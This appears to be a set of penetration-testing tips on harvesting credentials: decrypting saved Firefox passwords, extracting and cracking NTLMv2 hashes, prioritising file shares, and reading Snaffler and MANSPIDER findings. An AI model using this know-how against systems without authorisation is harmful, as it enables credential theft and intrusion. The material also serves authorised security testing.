firefox_decrypt needs the whole profile directory, not just logins.json. The decryption key is in key4.db. Copy ~/.mozilla/firefox/<profile>/ entirely before trying to decrypt.

Pcredz extracts NTLMv2 hashes from network captures — crack with Hashcat mode 5600. These are far more common than cleartext credentials in modern traffic and are often crackable with rockyou.txt.

Be strategic about share hunting. IT, HR, and SYSVOL are highest value. Scanning ten large shares takes hours — prioritise by share name and owner before unleashing automated tools.

MANSPIDER downloads matching files automatically to its loot directory. After a scan, review what landed there first — the file content often contains everything you need for the next step.

Snaffler {Red} findings are your first priority. They match high-confidence credential patterns. unattend.xml, .env, and PowerShell scripts with hardcoded passwords are common red findings in real environments.